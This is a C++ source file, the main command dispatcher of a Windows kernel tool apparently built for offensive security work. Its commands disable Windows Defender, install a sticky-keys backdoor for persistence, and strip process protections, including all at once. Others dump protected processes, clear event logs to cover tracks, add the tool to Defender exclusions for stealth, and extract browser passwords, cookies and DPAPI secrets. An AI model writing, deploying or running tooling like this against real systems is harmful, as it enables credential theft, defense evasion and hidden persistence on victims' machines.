Files
kvc/kvc/Kvc.cpp
2025-09-23 01:40:18 +02:00

893 lines
32 KiB
C++

/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "common.h"
#include "Controller.h"
#include "DefenderManager.h"
#include "ProcessManager.h"
#include "ServiceManager.h"
#include "HelpSystem.h"
#include <string_view>
#include <charconv>
#include <signal.h>
#include <unordered_map>
#include <algorithm>
#include <reason.h>
#pragma comment(lib, "user32.lib")
// Forward declaration for console color function
void SetColor(int color);
// Implementation of console color function
void SetColor(int color)
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, color);
}
// Forward declarations for utility functions
std::optional<DWORD> ParsePid(std::wstring_view pidStr) noexcept;
bool IsNumeric(std::wstring_view str) noexcept;
bool IsHelpFlag(std::wstring_view arg) noexcept;
std::optional<TrustedInstallerIntegrator::ExclusionType> ParseExclusionType(std::wstring_view typeStr) noexcept;
void CleanupDriver() noexcept;
bool InitiateSystemRestart() noexcept;
// Global state for signal handling and emergency cleanup
volatile bool g_interrupted = false;
std::unique_ptr<Controller> g_controller = nullptr;
// Signal handler for graceful Ctrl+C cleanup to prevent system instability
void SignalHandler(int signal)
{
if (signal == SIGINT && !g_interrupted)
{
g_interrupted = true;
std::wcout << L"\n[!] Ctrl+C detected - performing emergency cleanup..." << std::endl;
if (g_controller)
{
try
{
g_controller->StopDriverService();
std::wcout << L"[+] Emergency cleanup completed successfully" << std::endl;
}
catch (...)
{
std::wcout << L"[-] Emergency cleanup failed" << std::endl;
}
}
ExitProcess(130);
}
}
// Parse exclusion type string for enhanced Windows Defender management
std::optional<TrustedInstallerIntegrator::ExclusionType> ParseExclusionType(std::wstring_view typeStr) noexcept
{
static const std::unordered_map<std::wstring, TrustedInstallerIntegrator::ExclusionType> typeMap = {
{L"paths", TrustedInstallerIntegrator::ExclusionType::Paths},
{L"processes", TrustedInstallerIntegrator::ExclusionType::Processes},
{L"extensions", TrustedInstallerIntegrator::ExclusionType::Extensions},
{L"ipaddresses", TrustedInstallerIntegrator::ExclusionType::IpAddresses}
};
std::wstring lowerType(typeStr);
std::transform(lowerType.begin(), lowerType.end(), lowerType.begin(), ::towlower);
auto it = typeMap.find(lowerType);
return (it != typeMap.end()) ? std::make_optional(it->second) : std::nullopt;
}
// System restart with proper privilege escalation for security engine changes
bool InitiateSystemRestart() noexcept
{
HANDLE token;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) {
ERROR(L"Failed to open process token for restart");
return false;
}
if (!LookupPrivilegeValueW(nullptr, SE_SHUTDOWN_NAME, &luid)) {
ERROR(L"Failed to lookup shutdown privilege");
CloseHandle(token);
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bool success = AdjustTokenPrivileges(token, FALSE, &tp, 0, nullptr, nullptr);
CloseHandle(token);
if (!success) {
ERROR(L"Failed to enable shutdown privilege");
return false;
}
// Initiate system restart with appropriate reason code for software changes
return ExitWindowsEx(EWX_REBOOT | EWX_FORCE,
SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != 0;
}
// Main application entry point with comprehensive command handling
int wmain(int argc, wchar_t* argv[])
{
// Install signal handler for emergency cleanup on Ctrl+C
signal(SIGINT, SignalHandler);
// Service mode detection - MUST BE FIRST to handle NT service startup properly
if (argc >= 2) {
std::wstring_view firstArg = argv[1];
if (firstArg == L"--service") {
return ServiceManager::RunAsService();
}
}
// Display comprehensive help if no arguments provided
if (argc < 2)
{
HelpSystem::PrintUsage(argv[0]);
return 1;
}
std::wstring_view firstArg = argv[1];
// Handle various help flag formats
if (IsHelpFlag(firstArg))
{
HelpSystem::PrintUsage(argv[0]);
return 0;
}
// Initialize controller for kernel operations and driver management
g_controller = std::make_unique<Controller>();
std::wstring_view command = firstArg;
try
{
// Service management commands for advanced deployment scenarios
if (command == L"install")
{
wchar_t exePath[MAX_PATH];
if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) {
ERROR(L"Failed to get current executable path");
return 1;
}
INFO(L"Installing Kernel Vulnerability Capabilities Framework service for advanced scenarios...");
bool success = ServiceManager::InstallService(exePath);
return success ? 0 : 1;
}
else if (command == L"uninstall")
{
INFO(L"Uninstalling Kernel Vulnerability Capabilities Framework service...");
bool success = ServiceManager::UninstallService();
return success ? 0 : 1;
}
else if (command == L"service")
{
if (argc < 3) {
ERROR(L"Missing service command. Usage: service <start|stop|status>");
return 1;
}
std::wstring_view serviceCmd = argv[2];
if (serviceCmd == L"start") {
INFO(L"Starting Kernel Vulnerability Capabilities Framework service...");
bool success = ServiceManager::StartServiceProcess();
if (success) {
SUCCESS(L"Service started successfully");
return 0;
} else {
ERROR(L"Failed to start service");
return 1;
}
}
else if (serviceCmd == L"stop") {
INFO(L"Stopping Kernel Vulnerability Capabilities Framework service...");
bool success = ServiceManager::StopServiceProcess();
if (success) {
SUCCESS(L"Service stopped successfully");
return 0;
} else {
ERROR(L"Failed to stop service");
return 1;
}
}
else if (serviceCmd == L"status") {
// Enhanced service status checking with detailed diagnostic output
INFO(L"Checking Kernel Vulnerability Capabilities Framework service status...");
const bool installed = IsServiceInstalled();
const bool running = installed ? IsServiceRunning() : false;
std::wcout << L"\n";
INFO(L"Service Information:");
INFO(L" Name: %s", ServiceManager::SERVICE_NAME);
INFO(L" Display Name: %s", ServiceManager::SERVICE_DISPLAY_NAME);
std::wcout << L"\n";
// Status display with appropriate color coding for visual clarity
if (installed) {
SUCCESS(L"Installation Status: INSTALLED");
if (running) {
SUCCESS(L"Runtime Status: RUNNING");
SUCCESS(L"Service is operational and ready for kernel operations");
INFO(L"The service can be controlled via SCM or kvc commands");
} else {
ERROR(L"Runtime Status: STOPPED");
ERROR(L"Service is installed but not currently running");
INFO(L"Use 'kvc service start' to start the service");
}
} else {
ERROR(L"Installation Status: NOT INSTALLED");
ERROR(L"Service is not installed on this system");
INFO(L"Use 'kvc install' to install the service first");
}
std::wcout << L"\n";
return 0;
}
else {
ERROR(L"Unknown service command: %s", serviceCmd.data());
return 1;
}
}
// Security Engine Management Commands for bypassing Windows Defender protection
else if (command == L"secengine")
{
if (argc < 3) {
ERROR(L"Missing subcommand for secengine. Usage: kvc secengine <disable|enable|status>");
return 1;
}
std::wstring_view subcommand = argv[2];
if (subcommand == L"disable") {
if (DefenderManager::DisableSecurityEngine()) {
SUCCESS(L"Security engine disabled successfully - restart required");
// Optional immediate restart for automated scenarios
if (argc > 3 && std::wstring_view(argv[3]) == L"--restart") {
INFO(L"Initiating system restart...");
return InitiateSystemRestart() ? 0 : 1;
}
return 0;
}
return 1;
}
else if (subcommand == L"enable") {
if (DefenderManager::EnableSecurityEngine()) {
SUCCESS(L"Security engine enabled successfully - restart required");
// Optional immediate restart for automated scenarios
if (argc > 3 && std::wstring_view(argv[3]) == L"--restart") {
INFO(L"Initiating system restart...");
return InitiateSystemRestart() ? 0 : 1;
}
return 0;
}
return 1;
}
else if (subcommand == L"status") {
auto status = DefenderManager::GetSecurityEngineStatus();
// Display status with color-coded output for immediate visual feedback
if (status == DefenderManager::SecurityState::ENABLED) {
INFO(L"Security Engine Status: ENABLED (Active Protection)");
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
std::wcout << L" ✓ Windows Defender is actively protecting the system\n";
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
}
else if (status == DefenderManager::SecurityState::DISABLED) {
INFO(L"Security Engine Status: DISABLED (Inactive Protection)");
SetColor(12); // Red
std::wcout << L" ✗ Windows Defender protection is disabled\n";
SetColor(7); // Reset to default
}
else {
INFO(L"Security Engine Status: UNKNOWN (Cannot determine state)");
SetColor(14); // Yellow
std::wcout << L" ? Unable to determine Defender protection state\n";
SetColor(7); // Reset to default
}
return 0;
}
else {
ERROR(L"Invalid secengine subcommand: %s", subcommand.data());
ERROR(L"Valid subcommands: disable, enable, status");
return 1;
}
}
// Sticky keys backdoor management using IFEO technique for persistence
else if (command == L"shift")
{
INFO(L"Installing sticky keys backdoor with Defender bypass...");
return g_controller->InstallStickyKeysBackdoor() ? 0 : 2;
}
else if (command == L"unshift")
{
INFO(L"Removing sticky keys backdoor...");
return g_controller->RemoveStickyKeysBackdoor() ? 0 : 2;
}
// Memory dumping operations with automatic privilege escalation
else if (command == L"dump")
{
if (argc < 3)
{
ERROR(L"Missing PID/process name argument for dump command");
return 1;
}
std::wstring_view target = argv[2];
std::wstring outputPath;
// Use provided output path or default to Downloads folder for convenience
if (argc >= 4)
outputPath = argv[3];
else
{
wchar_t* downloadsPath;
if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, NULL, &downloadsPath) == S_OK)
{
outputPath = downloadsPath;
outputPath += L"\\";
CoTaskMemFree(downloadsPath);
}
else
{
outputPath = L".\\";
}
}
// Handle numeric PID or process name with intelligent pattern matching
if (IsNumeric(target))
{
auto pid = ParsePid(target);
if (!pid)
{
ERROR(L"Invalid PID format: %s", target.data());
return 1;
}
return g_controller->DumpProcess(pid.value(), outputPath) ? 0 : 2;
}
else
{
std::wstring processName(target);
return g_controller->DumpProcessByName(processName, outputPath) ? 0 : 2;
}
}
// Process termination via kernel driver with batch support
else if (command == L"kill")
{
ProcessManager::HandleKillCommand(argc, argv, g_controller.get());
return 0;
}
// Process information commands with color-coded protection status output
else if (command == L"list")
{
return g_controller->ListProtectedProcesses() ? 0 : 2;
}
else if (command == L"get")
{
if (argc < 3)
{
ERROR(L"Missing PID/process name argument for protection query");
return 1;
}
std::wstring_view target = argv[2];
if (IsNumeric(target))
{
auto pid = ParsePid(target);
if (!pid)
{
ERROR(L"Invalid PID format: %s", target.data());
return 1;
}
return g_controller->GetProcessProtection(pid.value()) ? 0 : 2;
}
else
{
std::wstring processName(target);
return g_controller->GetProcessProtectionByName(processName) ? 0 : 2;
}
}
else if (command == L"info")
{
if (argc < 3)
{
ERROR(L"Missing PID/process name argument for detailed information");
return 1;
}
std::wstring_view target = argv[2];
DWORD targetPid = 0;
std::wstring targetProcessName;
bool protectionResult = false;
// Get comprehensive process info and analyze dumpability with detailed reporting
if (IsNumeric(target))
{
auto pid = ParsePid(target);
if (!pid)
{
ERROR(L"Invalid PID format: %s", target.data());
return 1;
}
targetPid = pid.value();
targetProcessName = Utils::GetProcessName(targetPid);
protectionResult = g_controller->GetProcessProtection(targetPid);
}
else
{
targetProcessName = std::wstring(target);
auto match = g_controller->ResolveNameWithoutDriver(targetProcessName);
if (match)
{
targetPid = match->Pid;
targetProcessName = match->ProcessName;
protectionResult = g_controller->GetProcessProtection(targetPid);
}
else
{
return 2;
}
}
// Additional dumpability analysis with detailed reasoning for security assessment
if (protectionResult && targetPid != 0)
{
auto dumpability = Utils::CanDumpProcess(targetPid, targetProcessName);
if (dumpability.CanDump)
{
SUCCESS(L"Process is dumpable: %s", dumpability.Reason.c_str());
}
else
{
ERROR(L"Process is NOT dumpable: %s", dumpability.Reason.c_str());
}
}
return protectionResult ? 0 : 2;
}
// Event log clearing with administrative privileges for forensic cleanup
else if (command == L"evtclear")
{
return g_controller->ClearSystemEventLogs() ? 0 : 2;
}
// Process protection commands with atomic driver operations
else if (command == L"set" || command == L"protect")
{
if (argc < 5)
{
ERROR(L"Missing arguments: <PID/process_name> <PP|PPL> <SIGNER_TYPE>");
return 1;
}
std::wstring_view target = argv[2];
std::wstring level = argv[3];
std::wstring signer = argv[4];
bool result = false;
if (IsNumeric(target))
{
auto pid = ParsePid(target);
if (!pid)
{
ERROR(L"Invalid PID format: %s", target.data());
return 1;
}
// 'set' forces protection regardless of current state, 'protect' only protects unprotected processes
result = (command == L"set") ?
g_controller->SetProcessProtection(pid.value(), level, signer) :
g_controller->ProtectProcess(pid.value(), level, signer);
}
else
{
std::wstring processName(target);
result = (command == L"set") ?
g_controller->SetProcessProtectionByName(processName, level, signer) :
g_controller->ProtectProcessByName(processName, level, signer);
}
return result ? 0 : 2;
}
else if (command == L"unprotect")
{
if (argc < 3)
{
ERROR(L"Missing PID/process name argument for unprotection");
return 1;
}
std::wstring_view target = argv[2];
// Handle special 'all' keyword for mass unprotection scenarios
if (target == L"all")
{
return g_controller->UnprotectAllProcesses() ? 0 : 2;
}
// Handle comma-separated list of targets for efficient batch operations
std::wstring targetStr(target);
if (targetStr.find(L',') != std::wstring::npos)
{
std::vector<std::wstring> targets;
std::wstring current;
// Parse comma-separated targets with whitespace handling
for (wchar_t ch : targetStr)
{
if (ch == L',')
{
if (!current.empty())
{
targets.push_back(current);
current.clear();
}
}
else if (ch != L' ' && ch != L'\t')
{
current += ch;
}
}
if (!current.empty())
targets.push_back(current);
return g_controller->UnprotectMultipleProcesses(targets) ? 0 : 2;
}
// Handle single target (PID or process name with pattern matching)
if (IsNumeric(target))
{
auto pid = ParsePid(target);
if (!pid)
{
ERROR(L"Invalid PID format: %s", target.data());
return 1;
}
return g_controller->UnprotectProcess(pid.value()) ? 0 : 2;
}
else
{
std::wstring processName(target);
return g_controller->UnprotectProcessByName(processName) ? 0 : 2;
}
}
// System integration commands with TrustedInstaller privileges for maximum access
else if (command == L"trusted")
{
if (argc < 3)
{
ERROR(L"Missing command argument for elevated execution");
return 1;
}
// Combine all remaining arguments into full command with proper argument handling
std::wstring fullCommand;
for (int i = 2; i < argc; i++)
{
if (i > 2) fullCommand += L" ";
fullCommand += argv[i];
}
return g_controller->RunAsTrustedInstaller(fullCommand) ? 0 : 2;
}
else if (command == L"install-context")
{
return g_controller->AddContextMenuEntries() ? 0 : 1;
}
// Enhanced Windows Defender exclusion management with type specification
else if (command == L"add-exclusion")
{
// Legacy syntax: kvc add-exclusion (no args) - add self to exclusions for stealth operation
if (argc < 3) {
wchar_t exePath[MAX_PATH];
if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) {
ERROR(L"Failed to get current executable path");
return 1;
}
INFO(L"Automatically adding self to Defender exclusions: %s", exePath);
return g_controller->AddToDefenderExclusions(exePath) ? 0 : 1;
}
// New syntax with type specification: kvc add-exclusion Processes malware.exe
if (argc >= 4) {
std::wstring_view typeStr = argv[2];
std::wstring value = argv[3];
auto exclusionType = ParseExclusionType(typeStr);
if (!exclusionType) {
ERROR(L"Invalid exclusion type: %s. Valid types: Paths, Processes, Extensions, IpAddresses", typeStr.data());
return 1;
}
return g_controller->AddDefenderExclusion(exclusionType.value(), value) ? 0 : 1;
}
// Legacy syntax for backward compatibility: kvc add-exclusion C:\file.exe
else {
std::wstring filePath = argv[2];
return g_controller->AddToDefenderExclusions(filePath) ? 0 : 1;
}
}
else if (command == L"remove-exclusion")
{
// Legacy syntax: kvc remove-exclusion (no args) - remove self from exclusions
if (argc < 3) {
wchar_t exePath[MAX_PATH];
if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) {
ERROR(L"Failed to get current executable path");
return 1;
}
INFO(L"Automatically removing self from Defender exclusions: %s", exePath);
return g_controller->RemoveFromDefenderExclusions(exePath) ? 0 : 1;
}
// New syntax with type specification: kvc remove-exclusion Processes malware.exe
if (argc >= 4) {
std::wstring_view typeStr = argv[2];
std::wstring value = argv[3];
auto exclusionType = ParseExclusionType(typeStr);
if (!exclusionType) {
ERROR(L"Invalid exclusion type: %s. Valid types: Paths, Processes, Extensions, IpAddresses", typeStr.data());
return 1;
}
return g_controller->RemoveDefenderExclusion(exclusionType.value(), value) ? 0 : 1;
}
// Legacy syntax for backward compatibility: kvc remove-exclusion C:\file.exe
else {
std::wstring filePath = argv[2];
return g_controller->RemoveFromDefenderExclusions(filePath) ? 0 : 1;
}
}
// DPAPI secrets extraction commands with comprehensive browser support
else if (command == L"export")
{
if (argc < 3)
{
ERROR(L"Missing subcommand for export. Usage: export secrets [output_path]");
return 1;
}
std::wstring_view subCommand = argv[2];
if (subCommand == L"secrets")
{
std::wstring outputPath;
// Use provided output path or default to Downloads folder for user convenience
if (argc >= 4)
{
outputPath = argv[3];
}
else
{
wchar_t* downloadsPath;
if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, NULL, &downloadsPath) == S_OK)
{
outputPath = downloadsPath;
CoTaskMemFree(downloadsPath);
}
else
{
outputPath = L".\\";
}
}
INFO(L"Exporting secrets using TrustedInstaller privileges...");
return g_controller->ShowPasswords(outputPath) ? 0 : 2;
}
else
{
ERROR(L"Unknown export subcommand: %s. Available: secrets", subCommand.data());
return 1;
}
}
// Browser passwords extraction with kvc_pass integration for modern browsers
else if (command == L"browser-passwords" || command == L"bp")
{
std::wstring browserType = L"chrome"; // Default to Chrome for compatibility
std::wstring outputPath = L"."; // Current directory as fallback
// Parse command line arguments for browser type and output path
for (int i = 2; i < argc; i++) {
std::wstring arg = argv[i];
if (arg == L"--chrome") {
browserType = L"chrome";
} else if (arg == L"--brave") {
browserType = L"brave";
} else if (arg == L"--edge") {
browserType = L"edge";
} else if (arg == L"--output" || arg == L"-o") {
if (i + 1 < argc) {
outputPath = argv[++i];
} else {
ERROR(L"Missing path for --output argument");
return 1;
}
} else {
ERROR(L"Unknown argument: %s", arg.c_str());
return 1;
}
}
if (browserType == L"edge") {
// First run kvc_pass for cookies/logins extraction
if (!g_controller->ExportBrowserData(outputPath, browserType)) {
ERROR(L"Failed to export Edge cookies/logins");
}
// Then run DPAPI (KVC) for Edge passwords from registry
INFO(L"Extracting Edge passwords via KVC DPAPI...");
g_controller->ShowPasswords(outputPath);
return 0;
} else {
// Chrome, Brave - only kvc_pass required
if (!g_controller->ExportBrowserData(outputPath, browserType)) {
ERROR(L"Failed to export browser passwords");
return 1;
}
return 0;
}
}
// Combined binary processing - decrypt and deploy kvc.dat components for advanced scenarios
else if (command == L"setup")
{
INFO(L"Loading and processing kvc.dat combined binary...");
return g_controller->LoadAndSplitCombinedBinaries() ? 0 : 2;
}
else
{
ERROR(L"Unknown command: %s", command.data());
HelpSystem::PrintUsage(argv[0]);
return 1;
}
}
catch (const std::exception& e)
{
std::string msg = e.what();
std::wstring wmsg(msg.begin(), msg.end());
ERROR(L"Exception occurred during execution: %s", wmsg.c_str());
CleanupDriver();
return 3;
}
catch (...)
{
ERROR(L"Unknown exception occurred during execution");
CleanupDriver();
return 3;
}
CleanupDriver();
return 0;
}
// Emergency cleanup for driver resources to prevent system instability
void CleanupDriver() noexcept
{
if (g_controller)
{
g_controller->StopDriverService();
}
}
// Robust PID parsing with comprehensive validation
std::optional<DWORD> ParsePid(std::wstring_view pidStr) noexcept
{
if (pidStr.empty()) return std::nullopt;
// Convert wide string to narrow for std::from_chars compatibility
std::string narrowStr;
narrowStr.reserve(pidStr.size());
for (wchar_t wc : pidStr)
{
if (wc > 127) return std::nullopt; // Non-ASCII character detected
narrowStr.push_back(static_cast<char>(wc));
}
DWORD result = 0;
auto [ptr, ec] = std::from_chars(narrowStr.data(),
narrowStr.data() + narrowStr.size(),
result);
return (ec == std::errc{} && ptr == narrowStr.data() + narrowStr.size()) ?
std::make_optional(result) : std::nullopt;
}
// Check if string contains only digits for PID validation
bool IsNumeric(std::wstring_view str) noexcept
{
if (str.empty()) return false;
for (wchar_t ch : str)
{
if (ch < L'0' || ch > L'9')
return false;
}
return true;
}
// Recognize various help flag formats for user convenience
bool IsHelpFlag(std::wstring_view arg) noexcept
{
if (arg == L"/?" || arg == L"/help" || arg == L"/h")
return true;
if (arg == L"-?" || arg == L"-help" || arg == L"-h")
return true;
if (arg == L"--help" || arg == L"--h")
return true;
if (arg == L"help" || arg == L"?")
return true;
return false;
}